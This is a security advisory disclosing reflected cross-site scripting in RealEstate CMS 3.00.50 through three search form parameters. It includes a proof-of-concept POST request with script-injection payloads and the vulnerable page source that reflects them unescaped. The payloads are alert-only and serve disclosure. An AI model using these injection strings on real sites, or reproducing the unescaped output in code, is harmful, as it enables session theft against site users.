i>>?Document Title:
===============
RealEstate CMS 3.00.50 - Cross Site Web Vulnerability


Release Date:
=============
2016-09-08


Vulnerability Disclosure Timeline:
==================================
2016-09-23 : Public Disclosure


Product & Service Introduction:
===============================
RealEstate CMS is a web portal script designed for realty agents , realtor or brokers to sell , buy , trade , rent and letting their client's property through online. It is a web based Content Management System integrated web application platform developed in php, mysql used by real estate companies to promote properties. Feature-rich, SEO-friendly, easy to use interface with Protected admin area to create.
 
(Copy of the Vendor Homepage: https://www.script4realestate.com/ )


Affected Product(s):
====================
Product: Realestate v3.00.50 - Content Management System


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-
A client-side cross site scripting web vulnerability has been discovered in the official Realestate v3.00.50 content management system.
The vulnerability allows remote attacker to inject own malicious script codes on the client-side of the vulnerable module or service.

A client-side cross site scripting web vulnerability is located in the search engine. The web vulnerability could allow an attacker 
to execute javascript in the web-browser of the user or administrator to compromise session credentials. The attacker can connect 
to a third account to trigger the issue without knowing the password.


Request Method(s):
      [+] POST


Vulnerable Module(s):
      [+] Add (Input)


Vulnerable Parameter(s):
      [+] property_name
      [+] post_code
      [+] property_price


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs [POST] ---
Status: 200 [OK]
Host: realestate.localhost:8000/
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://realestate.localhost:8000/
Cookie: PHPSESSID=8897722dac6adcebc9a966069e91ea83; __unam=6aaa37b-1570a42f57e-507aafb3-2; __utma=261436815.141070340.1473345943.1473345943.1473345943.1; __utmb=261436815.2.10.1473345943; __utmc=261436815; __utmz=261436815.1473345943.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 529
block_search=search&property_name='"/>></script><script>alert("vulnerabilitylab")</script>&post_code='"/>></script><script>alert("vulnerabilitylab")</script>&category_id_arr%5B%5D=any&property_type=any&property_price='"/>></script><script>alert("vulnerabilitylab")</script>&property_price-gte=any&property_price-lte=any&feature_room_no-gte=any&feature_bathroom-gte=any&country_id=227&state_id=any&area_id=any&property_owner=any


--- PoC: Source ---
<div class="form-group">
  <label>Post Code:</label>
    <input type="text" name="post_code" id="post_code" placeholder="Any" value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control">
    <input type="hidden" name="block_search" value="search" />
</div>
<div class="form-group">
    <input name="property_name" id="property_name" operator="contains" type="text" placeholder="Property Name"
  value="'"/>></script><script>alert("vulnerabilitylab")</script>" class="form-control"/>
</div>
<script type="text/javascript">
  //<!--
    {field: "property_price", operator: $("#property_price").attr('operator'), value: ""'"/>></script><script>alert("vulnerabilitylab")</script>"},
  //-->
</script>

Reference(s):
https://realestate.localhost:8000/


[+] Disclaimer [+]
===================
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.


Domain:     www.zwx.fr
Contact:    msk4@live.fr  
Social:     twitter.com/XSSed.fr
Feeds:      www.zwx.fr/feed/
Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461


                             Copyright A(c) 2016 | ZwX - Security Researcher (Software & web application)